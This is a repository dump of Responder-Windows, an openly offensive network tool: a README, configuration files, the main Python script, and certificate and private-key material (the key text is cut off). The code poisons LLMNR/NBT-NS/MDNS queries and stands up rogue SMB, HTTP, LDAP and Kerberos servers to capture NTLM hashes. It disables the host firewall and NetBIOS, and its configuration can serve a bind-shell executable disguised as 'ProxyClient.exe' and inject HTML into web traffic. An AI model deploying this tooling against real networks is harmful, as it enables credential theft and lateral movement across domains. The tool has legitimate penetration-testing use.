├── README.md ├── binaries └── Responder │ ├── MultiRelay.exe │ ├── Responder.conf │ ├── Responder.exe │ ├── logs │ └── .gitignore │ └── relay-dumps │ └── .gitignore └── src ├── LICENSE ├── Responder.conf ├── Responder.py ├── certs ├── gen-self-signed-cert.sh ├── responder.crt └── responder.key ├── files ├── AccessDenied.html └── BindShell.exe ├── fingerprint.py ├── logs └── .gitignore ├── odict.py ├── packets.py ├── poisoners ├── LLMNR.py ├── MDNS.py ├── NBTNS.py └── __init__.py ├── servers ├── Browser.py ├── DNS.py ├── FTP.py ├── HTTP.py ├── HTTP_Proxy.py ├── IMAP.py ├── Kerberos.py ├── LDAP.py ├── MSSQL.py ├── POP3.py ├── Proxy_Auth.py ├── SMB.py ├── SMTP.py └── __init__.py ├── settings.py ├── tools ├── BrowserListener.py ├── DHCP.py ├── DHCP_Auto.sh ├── FindSMB2UPTime.py ├── FindSQLSrv.py ├── Icmp-Redirect.py ├── MultiRelay │ ├── MultiRelay.py │ ├── RelayMultiCore.py │ ├── RelayMultiPackets.py │ ├── SMBFinger │ │ ├── Finger.py │ │ ├── __init__.py │ │ └── odict.py │ ├── creddump │ │ ├── CHANGELOG │ │ ├── COPYING │ │ ├── README │ │ ├── __init__.py │ │ ├── cachedump.py │ │ ├── framework │ │ │ ├── __init__.py │ │ │ └── win32 │ │ │ │ ├── __init__.py │ │ │ │ ├── addrspace.py │ │ │ │ ├── domcachedump.py │ │ │ │ ├── hashdump.py │ │ │ │ ├── lsasecrets.py │ │ │ │ ├── newobj.py │ │ │ │ ├── object.py │ │ │ │ ├── rawreg.py │ │ │ │ └── types.py │ │ ├── lsadump.py │ │ └── pwdump.py │ ├── odict.py │ └── relay-dumps │ │ └── .gitignore ├── RunFinger.py └── odict.py └── utils.py /README.md: -------------------------------------------------------------------------------- 1 | # Responder And MultiRelay For Windows # 2 | 3 | NBT-NS/LLMNR Responder and Cross-Protocol NTLM Relay Windows Version (Beta) 4 | 5 | Laurent Gaffie 6 | 7 | http://g-laurent.blogspot.com/ 8 | 9 | Follow Responder latest updates on twitter: 10 | 11 | https://twitter.com/PythonResponder 12 | 13 | ## Intro ## 14 | 15 | This tool is first an LLMNR, NBT-NS and MDNS responder, it will answer to 16 | *specific* NBT-NS (NetBIOS Name Service) queries based on their name 17 | suffix (see: http://support.microsoft.com/kb/163409). By default, the 18 | tool will only answers to File Server Service request, which is for SMB. 19 | The concept behind this, is to target our answers, and be stealthier on 20 | the network. This also helps to ensure that we don't break legitimate 21 | NBT-NS behavior. You can set the -r option via command line if 22 | you want this tool to answer to the Workstation Service request name 23 | suffix. 24 | 25 | MultiRelay has also been ported to this Windows version, allowing a pentest to pivot across compromises. 26 | 27 | ## Features ## 28 | 29 | - Experimental Windows Version. 30 | 31 | - Goal of this version is to be able to propagate compromises across subnets and domains from any compromised Windows machine. This tool can also be used compromise a domain from an external penetration test. 32 | 33 | - This version will disable netbios on all interfaces and the current firewall profile on the target host. 34 | 35 | - Default values will be turned back On when killing Responder (CRTL-C). 36 | 37 | - LLMNR and Netbios works out of the box on any Windows XP-2003 and apparently on Windows 2012/2016. 38 | 39 | - Netbios support works on all versions. 40 | 41 | - Best way to collect hashes with this Windows version: Responder.exe -i IP_Addr -rPv 42 | 43 | ## Installing ## 44 | 45 | - Binary: 46 | 47 | Just drop the executable and the configuration file (Responder.conf) inside a directory (eg: c:/temp/responder) and launch it. 48 | 49 | - From source: 50 | Install python on a Windows machine. 51 | 52 | run "pip install pyinstaller" 53 | 54 | cd in Responder source directory 55 | 56 | pyinstaller --onedir -F Responder.py 57 | 58 | cd tools/MultiRelay/ 59 | 60 | pyinstaller --onedir -F MultiRelay.py 61 | 62 | Your binary will be located in the folder dist/ 63 | 64 | - Executing the source directly: 65 | 66 | You can run Responder as usual from the source folder (with python installed): python Responder.py 67 | 68 | ## Considerations ## 69 | 70 | - Make sure a conventional Responder.conf file is present in Responder running directory. 71 | 72 | - Any rogue server can be turn off in Responder.conf. 73 | 74 | - For now, SMB rogue authentication server is *not* supported in Responder and MultiRelay. 75 | 76 | ## Donation ## 77 | 78 | You can contribute to this project by donating to the following BTC address: 79 | 80 | 1Pv9rZMNfy9hsW19eQhNGs22gY9sf6twjW 81 | 82 | 83 | ## Copyright ## 84 | 85 | NBT-NS/LLMNR/MDNS Responder 86 | Created and maintained by Laurent Gaffie 87 | 88 | This program is free software: you can redistribute it and/or modify 89 | it under the terms of the GNU General Public License as published by 90 | the Free Software Foundation, either version 3 of the License, or 91 | (at your option) any later version. 92 | 93 | This program is distributed in the hope that it will be useful, 94 | but WITHOUT ANY WARRANTY; without even the implied warranty of 95 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 96 | GNU General Public License for more details. 97 | 98 | You should have received a copy of the GNU General Public License 99 | along with this program. If not, see 100 | 101 | -------------------------------------------------------------------------------- /binaries/Responder/MultiRelay.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lgandx/Responder-Windows/eee1254b2fce47e469a3ab8cf572c3c499df70b4/binaries/Responder/MultiRelay.exe -------------------------------------------------------------------------------- /binaries/Responder/Responder.conf: -------------------------------------------------------------------------------- 1 | [Responder Core] 2 | 3 | ; Servers to start 4 | SQL = On 5 | SMB = On 6 | Kerberos = On 7 | FTP = On 8 | POP = On 9 | SMTP = On 10 | IMAP = On 11 | HTTP = On 12 | HTTPS = On 13 | DNS = On 14 | LDAP = On 15 | 16 | ; Custom challenge 17 | Challenge = 1122334455667788 18 | 19 | ; SQLite Database file 20 | ; Delete this file to re-capture previously captured hashes 21 | Database = Responder.db 22 | 23 | ; Default log file 24 | SessionLog = Responder-Session.log 25 | 26 | ; Poisoners log 27 | PoisonersLog = Poisoners-Session.log 28 | 29 | ; Analyze mode log 30 | AnalyzeLog = Analyzer-Session.log 31 | 32 | ; Dump Responder Config log: 33 | ResponderConfigDump = Config-Responder.log 34 | 35 | ; Specific IP Addresses to respond to (default = All) 36 | ; Example: RespondTo = 10.20.1.100-150, 10.20.3.10 37 | RespondTo = 38 | 39 | ; Specific NBT-NS/LLMNR names to respond to (default = All) 40 | ; Example: RespondTo = WPAD, DEV, PROD, SQLINT 41 | RespondToName = 42 | 43 | ; Specific IP Addresses not to respond to (default = None) 44 | ; Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10 45 | DontRespondTo = 46 | 47 | ; Specific NBT-NS/LLMNR names not to respond to (default = None) 48 | ; Example: DontRespondTo = NAC, IPS, IDS 49 | DontRespondToName = ISATAP 50 | 51 | ; If set to On, we will stop answering further requests from a host 52 | ; if a hash has been previously captured for this host. 53 | AutoIgnoreAfterSuccess = Off 54 | 55 | ; If set to On, we will send ACCOUNT_DISABLED when the client tries 56 | ; to authenticate for the first time to try to get different credentials. 57 | ; This may break file serving and is useful only for hash capture 58 | CaptureMultipleCredentials = On 59 | 60 | ; If set to On, we will write to file all hashes captured from the same host. 61 | ; In this case, Responder will log from 172.16.0.12 all user hashes: domain\toto, 62 | ; domain\popo, domain\zozo. Recommended value: On, capture everything. 63 | CaptureMultipleHashFromSameHost = On 64 | 65 | [HTTP Server] 66 | 67 | ; Set to On to always serve the custom EXE 68 | Serve-Always = Off 69 | 70 | ; Set to On to replace any requested .exe with the custom EXE 71 | Serve-Exe = Off 72 | 73 | ; Set to On to serve the custom HTML if the URL does not contain .exe 74 | ; Set to Off to inject the 'HTMLToInject' in web pages instead 75 | Serve-Html = Off 76 | 77 | ; Custom HTML to serve 78 | HtmlFilename = files/AccessDenied.html 79 | 80 | ; Custom EXE File to serve 81 | ExeFilename = files/BindShell.exe 82 | 83 | ; Name of the downloaded .exe that the client will see 84 | ExeDownloadName = ProxyClient.exe 85 | 86 | ; Custom WPAD Script 87 | WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "ProxySrv")||shExpMatch(host, "(*.ProxySrv|ProxySrv)")) return "DIRECT"; return 'PROXY ProxySrv:3128; PROXY ProxySrv:3141; DIRECT';} 88 | 89 | ; HTML answer to inject in HTTP responses (before tag). 90 | ; Set to an empty string to disable. 91 | ; In this example, we redirect make users' browsers issue a request to our rogue SMB server. 92 | HTMLToInject = Loading 93 | 94 | [HTTPS Server] 95 | 96 | ; Configure SSL Certificates to use 97 | SSLCert = certs/responder.crt 98 | SSLKey = certs/responder.key 99 | -------------------------------------------------------------------------------- /binaries/Responder/Responder.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lgandx/Responder-Windows/eee1254b2fce47e469a3ab8cf572c3c499df70b4/binaries/Responder/Responder.exe -------------------------------------------------------------------------------- /binaries/Responder/logs/.gitignore: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lgandx/Responder-Windows/eee1254b2fce47e469a3ab8cf572c3c499df70b4/binaries/Responder/logs/.gitignore -------------------------------------------------------------------------------- /binaries/Responder/relay-dumps/.gitignore: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lgandx/Responder-Windows/eee1254b2fce47e469a3ab8cf572c3c499df70b4/binaries/Responder/relay-dumps/.gitignore -------------------------------------------------------------------------------- /src/Responder.conf: -------------------------------------------------------------------------------- 1 | [Responder Core] 2 | 3 | ; Servers to start 4 | SQL = On 5 | SMB = On 6 | Kerberos = On 7 | FTP = On 8 | POP = On 9 | SMTP = On 10 | IMAP = On 11 | HTTP = On 12 | HTTPS = On 13 | DNS = On 14 | LDAP = On 15 | 16 | ; Custom challenge 17 | Challenge = 1122334455667788 18 | 19 | ; SQLite Database file 20 | ; Delete this file to re-capture previously captured hashes 21 | Database = Responder.db 22 | 23 | ; Default log file 24 | SessionLog = Responder-Session.log 25 | 26 | ; Poisoners log 27 | PoisonersLog = Poisoners-Session.log 28 | 29 | ; Analyze mode log 30 | AnalyzeLog = Analyzer-Session.log 31 | 32 | ; Dump Responder Config log: 33 | ResponderConfigDump = Config-Responder.log 34 | 35 | ; Specific IP Addresses to respond to (default = All) 36 | ; Example: RespondTo = 10.20.1.100-150, 10.20.3.10 37 | RespondTo = 38 | 39 | ; Specific NBT-NS/LLMNR names to respond to (default = All) 40 | ; Example: RespondTo = WPAD, DEV, PROD, SQLINT 41 | RespondToName = 42 | 43 | ; Specific IP Addresses not to respond to (default = None) 44 | ; Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10 45 | DontRespondTo = 46 | 47 | ; Specific NBT-NS/LLMNR names not to respond to (default = None) 48 | ; Example: DontRespondTo = NAC, IPS, IDS 49 | DontRespondToName = ISATAP 50 | 51 | ; If set to On, we will stop answering further requests from a host 52 | ; if a hash has been previously captured for this host. 53 | AutoIgnoreAfterSuccess = Off 54 | 55 | ; If set to On, we will send ACCOUNT_DISABLED when the client tries 56 | ; to authenticate for the first time to try to get different credentials. 57 | ; This may break file serving and is useful only for hash capture 58 | CaptureMultipleCredentials = On 59 | 60 | ; If set to On, we will write to file all hashes captured from the same host. 61 | ; In this case, Responder will log from 172.16.0.12 all user hashes: domain\toto, 62 | ; domain\popo, domain\zozo. Recommended value: On, capture everything. 63 | CaptureMultipleHashFromSameHost = On 64 | 65 | [HTTP Server] 66 | 67 | ; Set to On to always serve the custom EXE 68 | Serve-Always = Off 69 | 70 | ; Set to On to replace any requested .exe with the custom EXE 71 | Serve-Exe = Off 72 | 73 | ; Set to On to serve the custom HTML if the URL does not contain .exe 74 | ; Set to Off to inject the 'HTMLToInject' in web pages instead 75 | Serve-Html = Off 76 | 77 | ; Custom HTML to serve 78 | HtmlFilename = files/AccessDenied.html 79 | 80 | ; Custom EXE File to serve 81 | ExeFilename = files/BindShell.exe 82 | 83 | ; Name of the downloaded .exe that the client will see 84 | ExeDownloadName = ProxyClient.exe 85 | 86 | ; Custom WPAD Script 87 | WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "ProxySrv")||shExpMatch(host, "(*.ProxySrv|ProxySrv)")) return "DIRECT"; return 'PROXY ProxySrv:3128; PROXY ProxySrv:3141; DIRECT';} 88 | 89 | ; HTML answer to inject in HTTP responses (before tag). 90 | ; Set to an empty string to disable. 91 | ; In this example, we redirect make users' browsers issue a request to our rogue SMB server. 92 | HTMLToInject = Loading 93 | 94 | [HTTPS Server] 95 | 96 | ; Configure SSL Certificates to use 97 | SSLCert = certs/responder.crt 98 | SSLKey = certs/responder.key 99 | -------------------------------------------------------------------------------- /src/Responder.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder, a network take-over set of tools 3 | # created and maintained by Laurent Gaffie. 4 | # email: laurent.gaffie@gmail.com 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | import optparse 18 | import ssl 19 | 20 | from SocketServer import TCPServer, UDPServer, ThreadingMixIn 21 | from threading import Thread 22 | from utils import * 23 | import struct 24 | banner() 25 | 26 | parser = optparse.OptionParser(usage='python %prog -i IP_Addr -w -r -f\nor:\npython %prog -i IP_Addr -wrf', version=settings.__version__, prog=sys.argv[0]) 27 | parser.add_option('-A','--analyze', action="store_true", help="Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests without responding.", dest="Analyze", default=False) 28 | parser.add_option('-i','--ip', action="store", help="Local IP to use \033[1m\033[31m(only for OSX)\033[0m", dest="OURIP", metavar="10.0.0.21", default=None) 29 | 30 | parser.add_option('-e', "--externalip", action="store", help="Poison all requests with another IP address than Responder's one.", dest="ExternalIP", metavar="10.0.0.22", default=None) 31 | 32 | parser.add_option('-b', '--basic', action="store_true", help="Return a Basic HTTP authentication. Default: NTLM", dest="Basic", default=False) 33 | parser.add_option('-r', '--wredir', action="store_true", help="Enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network. Default: False", dest="Wredirect", default=False) 34 | parser.add_option('-d', '--NBTNSdomain', action="store_true", help="Enable answers for netbios domain suffix queries. Answering to domain suffixes will likely break stuff on the network. Default: False", dest="NBTNSDomain", default=False) 35 | parser.add_option('-f','--fingerprint', action="store_true", help="This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query.", dest="Finger", default=False) 36 | parser.add_option('-w','--wpad', action="store_true", help="Start the WPAD rogue proxy server. Default value is False", dest="WPAD_On_Off", default=False) 37 | parser.add_option('-u','--upstream-proxy', action="store", help="Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)", dest="Upstream_Proxy", default=None) 38 | parser.add_option('-F','--ForceWpadAuth', action="store_true", help="Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False", dest="Force_WPAD_Auth", default=False) 39 | 40 | parser.add_option('-P','--ProxyAuth', action="store_true", help="Force NTLM (transparently)/Basic (prompt) authentication for the proxy. WPAD doesn't need to be ON. This option is highly effective when combined with -r. Default: False", dest="ProxyAuth_On_Off", default=False) 41 | 42 | parser.add_option('--lm', action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False) 43 | parser.add_option('-v','--verbose', action="store_true", help="Increase verbosity.", dest="Verbose") 44 | options, args = parser.parse_args() 45 | 46 | 47 | if options.OURIP is None: 48 | print "\n-i mandatory option is missing\n" 49 | parser.print_help() 50 | exit(-1) 51 | 52 | settings.init() 53 | settings.Config.populate(options) 54 | 55 | StartupMessage() 56 | 57 | settings.Config.ExpandIPRanges() 58 | 59 | if settings.Config.AnalyzeMode: 60 | print color('[i] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1) 61 | 62 | class ThreadingUDPServer(ThreadingMixIn, UDPServer): 63 | def server_bind(self): 64 | if OsInterfaceIsSupported(): 65 | try: 66 | if settings.Config.Bind_To_ALL: 67 | pass 68 | else: 69 | self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') 70 | except: 71 | pass 72 | UDPServer.server_bind(self) 73 | 74 | class ThreadingTCPServer(ThreadingMixIn, TCPServer): 75 | def server_bind(self): 76 | if OsInterfaceIsSupported(): 77 | try: 78 | if settings.Config.Bind_To_ALL: 79 | pass 80 | else: 81 | self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') 82 | except: 83 | pass 84 | TCPServer.server_bind(self) 85 | 86 | class ThreadingTCPServerAuth(ThreadingMixIn, TCPServer): 87 | def server_bind(self): 88 | if OsInterfaceIsSupported(): 89 | try: 90 | if settings.Config.Bind_To_ALL: 91 | pass 92 | else: 93 | self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') 94 | except: 95 | pass 96 | self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0)) 97 | TCPServer.server_bind(self) 98 | 99 | class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer): 100 | def server_bind(self): 101 | MADDR = "224.0.0.251" 102 | self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 103 | mreq = struct.pack("=4sl", socket.inet_aton(MADDR), socket.INADDR_ANY) 104 | UDPServer.server_bind(self) 105 | self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq) 106 | 107 | class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer): 108 | def server_bind(self): 109 | MADDR = "224.0.0.252" 110 | self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 111 | mreq = struct.pack("=4sl", socket.inet_aton(MADDR), socket.INADDR_ANY) 112 | UDPServer.server_bind(self) 113 | self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq) 114 | 115 | ThreadingUDPServer.allow_reuse_address = 1 116 | ThreadingTCPServer.allow_reuse_address = 1 117 | ThreadingUDPMDNSServer.allow_reuse_address = 1 118 | ThreadingUDPLLMNRServer.allow_reuse_address = 1 119 | ThreadingTCPServerAuth.allow_reuse_address = 1 120 | 121 | def serve_thread_udp_broadcast(host, port, handler): 122 | try: 123 | server = ThreadingUDPServer((host, port), handler) 124 | server.serve_forever() 125 | except: 126 | print color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running." 127 | 128 | def serve_NBTNS_poisoner(host, port, handler): 129 | serve_thread_udp_broadcast(host, port, handler) 130 | 131 | def serve_MDNS_poisoner(host, port, handler): 132 | try: 133 | server = ThreadingUDPMDNSServer((host, port), handler) 134 | server.serve_forever() 135 | except: 136 | print color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running." 137 | 138 | def serve_LLMNR_poisoner(host, port, handler): 139 | try: 140 | server = ThreadingUDPLLMNRServer((host, port), handler) 141 | server.serve_forever() 142 | except: 143 | print color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running." 144 | 145 | def serve_thread_udp(host, port, handler): 146 | try: 147 | if OsInterfaceIsSupported(): 148 | server = ThreadingUDPServer((host, port), handler) 149 | server.serve_forever() 150 | else: 151 | server = ThreadingUDPServer((host, port), handler) 152 | server.serve_forever() 153 | except: 154 | print color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running." 155 | 156 | def serve_thread_tcp(host, port, handler): 157 | try: 158 | if OsInterfaceIsSupported(): 159 | server = ThreadingTCPServer((host, port), handler) 160 | server.serve_forever() 161 | else: 162 | server = ThreadingTCPServer((host, port), handler) 163 | server.serve_forever() 164 | except: 165 | print color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running." 166 | 167 | def serve_thread_tcp_auth(host, port, handler): 168 | try: 169 | if OsInterfaceIsSupported(): 170 | server = ThreadingTCPServerAuth((host, port), handler) 171 | server.serve_forever() 172 | else: 173 | server = ThreadingTCPServerAuth((host, port), handler) 174 | server.serve_forever() 175 | except: 176 | print color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running." 177 | 178 | def serve_thread_SSL(host, port, handler): 179 | try: 180 | 181 | cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert) 182 | key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey) 183 | 184 | if OsInterfaceIsSupported(): 185 | server = ThreadingTCPServer((host, port), handler) 186 | server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True) 187 | server.serve_forever() 188 | else: 189 | server = ThreadingTCPServer((host, port), handler) 190 | server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True) 191 | server.serve_forever() 192 | except: 193 | print color("[!] ", 1, 1) + "Error starting SSL server on port " + str(port) + ", check permissions or other servers running." 194 | 195 | def main(): 196 | try: 197 | print "Preparing Windows for Responder...\nDisabling NetBIOS..." 198 | os.system("wmic /interactive:off nicconfig where TcpipNetbiosOptions=0 call SetTcpipNetbios 2") 199 | print "Turning firewall Off..." 200 | os.system("netsh firewall set opmode disable") 201 | print "Ready!" 202 | 203 | threads = [] 204 | 205 | # Load (M)DNS, NBNS and LLMNR Poisoners 206 | from poisoners.LLMNR import LLMNR 207 | from poisoners.NBTNS import NBTNS 208 | from poisoners.MDNS import MDNS 209 | threads.append(Thread(target=serve_LLMNR_poisoner, args=('', 5355, LLMNR,))) 210 | threads.append(Thread(target=serve_MDNS_poisoner, args=('', 5353, MDNS,))) 211 | threads.append(Thread(target=serve_NBTNS_poisoner, args=('', 137, NBTNS,))) 212 | 213 | # Load Browser Listener 214 | from servers.Browser import Browser 215 | threads.append(Thread(target=serve_thread_udp_broadcast, args=('', 138, Browser,))) 216 | 217 | if settings.Config.HTTP_On_Off: 218 | from servers.HTTP import HTTP 219 | threads.append(Thread(target=serve_thread_tcp, args=('', 80, HTTP,))) 220 | 221 | if settings.Config.SSL_On_Off: 222 | from servers.HTTP import HTTPS 223 | threads.append(Thread(target=serve_thread_SSL, args=('', 443, HTTPS,))) 224 | 225 | if settings.Config.WPAD_On_Off: 226 | from servers.HTTP_Proxy import HTTP_Proxy 227 | threads.append(Thread(target=serve_thread_tcp, args=('', 3141, HTTP_Proxy,))) 228 | 229 | if settings.Config.ProxyAuth_On_Off: 230 | from servers.Proxy_Auth import Proxy_Auth 231 | threads.append(Thread(target=serve_thread_tcp_auth, args=('', 3128, Proxy_Auth,))) 232 | 233 | if settings.Config.SMB_On_Off: 234 | if settings.Config.LM_On_Off: 235 | from servers.SMB import SMB1LM 236 | threads.append(Thread(target=serve_thread_tcp, args=('', 445, SMB1LM,))) 237 | threads.append(Thread(target=serve_thread_tcp, args=('', 139, SMB1LM,))) 238 | else: 239 | from servers.SMB import SMB1 240 | threads.append(Thread(target=serve_thread_tcp, args=('', 445, SMB1,))) 241 | threads.append(Thread(target=serve_thread_tcp, args=('', 139, SMB1,))) 242 | 243 | if settings.Config.Krb_On_Off: 244 | from servers.Kerberos import KerbTCP, KerbUDP 245 | threads.append(Thread(target=serve_thread_udp, args=('', 88, KerbUDP,))) 246 | threads.append(Thread(target=serve_thread_tcp, args=('', 88, KerbTCP,))) 247 | 248 | if settings.Config.SQL_On_Off: 249 | from servers.MSSQL import MSSQL 250 | threads.append(Thread(target=serve_thread_tcp, args=('', 1433, MSSQL,))) 251 | 252 | if settings.Config.FTP_On_Off: 253 | from servers.FTP import FTP 254 | threads.append(Thread(target=serve_thread_tcp, args=('', 21, FTP,))) 255 | 256 | if settings.Config.POP_On_Off: 257 | from servers.POP3 import POP3 258 | threads.append(Thread(target=serve_thread_tcp, args=('', 110, POP3,))) 259 | 260 | if settings.Config.LDAP_On_Off: 261 | from servers.LDAP import LDAP 262 | threads.append(Thread(target=serve_thread_tcp, args=('', 389, LDAP,))) 263 | 264 | if settings.Config.SMTP_On_Off: 265 | from servers.SMTP import ESMTP 266 | threads.append(Thread(target=serve_thread_tcp, args=('', 25, ESMTP,))) 267 | threads.append(Thread(target=serve_thread_tcp, args=('', 587, ESMTP,))) 268 | 269 | if settings.Config.IMAP_On_Off: 270 | from servers.IMAP import IMAP 271 | threads.append(Thread(target=serve_thread_tcp, args=('', 143, IMAP,))) 272 | 273 | if settings.Config.DNS_On_Off: 274 | from servers.DNS import DNS, DNSTCP 275 | threads.append(Thread(target=serve_thread_udp, args=('', 53, DNS,))) 276 | threads.append(Thread(target=serve_thread_tcp, args=('', 53, DNSTCP,))) 277 | 278 | for thread in threads: 279 | thread.setDaemon(True) 280 | thread.start() 281 | 282 | print color('[+]', 2, 1) + " Listening for events..." 283 | 284 | while True: 285 | time.sleep(1) 286 | 287 | except KeyboardInterrupt: 288 | print "\nCRTL-C detected, restoring original state." 289 | print "Re-enabling NetBIOS..." 290 | os.system("wmic /interactive:off nicconfig where TcpipNetbiosOptions=2 call SetTcpipNetbios 0") 291 | print "Turning firewall On..." 292 | os.system("netsh firewall set opmode enable") 293 | sys.exit("\r%s Exiting..." % color('[+]', 2, 1)) 294 | 295 | if __name__ == '__main__': 296 | main() 297 | -------------------------------------------------------------------------------- /src/certs/gen-self-signed-cert.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | openssl genrsa -out responder.key 2048 3 | openssl req -new -x509 -days 3650 -key responder.key -out responder.crt -subj "/" 4 | -------------------------------------------------------------------------------- /src/certs/responder.crt: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIIC0zCCAbugAwIBAgIJAOQijexo77F4MA0GCSqGSIb3DQEBBQUAMAAwHhcNMTUw 3 | NjI5MDU1MTUyWhcNMjUwNjI2MDU1MTUyWjAAMIIBIjANBgkqhkiG9w0BAQEFAAOC 4 | AQ8AMIIBCgKCAQEAunMwNRcEEAUJQSZDeDh/hGmpPEzMr1v9fVYie4uFD33thh1k 5 | sPET7uFRXpPmaTMjJFZjWL/L/kgozihgF+RdyR7lBe26z1Na2XEvrtHbQ9a/BAYP 6 | 2nX6V7Bt8izIz/Ox3qKe/mu1R5JFN0/i+y4/dcVCpPu7Uu1gXdLfRIvRRv7QtnsC 7 | 6Q/c6xINEbUx58TRkq1lz+Tbk2lGlmon2HqNvQ0y/6amOeY0/sSau5RPw9xtwCPg 8 | WcaRdjwf+RcORC7/KVXVzMNcqJWwT1D1THs5UExxTEj4TcrUbcW75+vI3mIjzMJF 9 | N3NhktbqPG8BXC7+qs+UVMvriDEqGrGwttPXXwIDAQABo1AwTjAdBgNVHQ4EFgQU 10 | YY2ttc/bjfXwGqPvNUSm6Swg4VYwHwYDVR0jBBgwFoAUYY2ttc/bjfXwGqPvNUSm 11 | 6Swg4VYwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQUFAAOCAQEAXFN+oxRwyqU0 12 | YWTlixZl0NP6bWJ2W+dzmlqBxugEKYJCPxM0GD+WQDEd0Au4pnhyzt77L0sBgTF8 13 | koFbkdFsTyX2AHGik5orYyvQqS4jVkCMudBXNLt5iHQsSXIeaOQRtv7LYZJzh335 14 | 4431+r5MIlcxrRA2fhpOAT2ZyKW1TFkmeAMoH7/BTzGlre9AgCcnKBvvGdzJhCyw 15 | YlRGHrfR6HSkcoEeIV1u/fGU4RX7NO4ugD2wkOhUoGL1BS926WV02c5CugfeKUlW 16 | HM65lZEkTb+MQnLdpnpW8GRXhXbIrLMLd2pWW60wFhf6Ub/kGJ5bCUTnXYPRcA3v 17 | u0/CRCN/lg== 18 | -----END CERTIFICATE----- 19 | -------------------------------------------------------------------------------- /src/certs/responder.key: -------------------------------------------------------------------------------- 1 | -----BEGIN RSA PRIVATE KEY----- 2 | MIIEowIBAAKCAQEAunMwNRcEEAUJQSZDeDh/hGmpPEzMr1v9fVYie4uFD33thh1k 3 | sPET7uFRXpPmaTMjJFZjWL/L/kgozihgF+RdyR7lBe26z1Na2XEvrtHbQ9a/BAYP 4 | 2nX6V7Bt8izIz/Ox3qKe/mu1R5JFN0/i+y4/dcVCpPu7Uu1gXdLfRIvRRv7QtnsC 5 | 6Q/c6xINEbUx58TRkq1lz+Tbk2lGlmon2HqNvQ0y/6amOeY0/sSau5RPw9xtwCPg 6 | WcaRdjwf+RcORC7/KVXVzMNcqJWwT1D1THs5UExxTEj4TcrUbcW75+vI3mIjzMJF 7 | N3NhktbqPG8BXC7+qs+UVMvriDEqGrGwttPXXwIDAQABAoIBABuAkDTUj0nZpFLS 8 | 1RLvqoeamlcFsQ+QzyRkxzNYEimF1rp4rXiYJuuOmtULleogm+dpQsA9klaQyEwY 9 | kowTqG3ZO8kTFwIr9nOqiXENDX3FOGnchwwfaOz0XlNhncFm3e7MKA25T4UeI02U 10 | YBPS75NspHb3ltsVnqhYSYyv3w/Ml/mDz+D76dRgT6seLEOTkKwZj7icBR6GNO1R 11 | FLbffJNE6ZcXI0O892CTVUB4d3egcpSDuaAq3f/UoRB3xH7MlnEPfxE3y34wcp8i 12 | erqm/8uVeBOnQMG9FVGXBJXbjSjnWS27sj/vGm+0rc8c925Ed1QdIM4Cvk6rMOHQ 13 | IGkDnvECgYEA4e3B6wFtONysLhkG6Wf9lDHog35vE/Ymc695gwksK07brxPF1NRS 14 | nNr3G918q+CE/0tBHqyl1i8SQ/f3Ejo7eLsfpAGwR9kbD9hw2ViYvEio9dAIMVTL 15 | LzJoSDLwcPCtEOpasl0xzyXrTBzWuNYTlfvGkyd2mutynORRIZPhgHkCgYEA00Q9 16 | 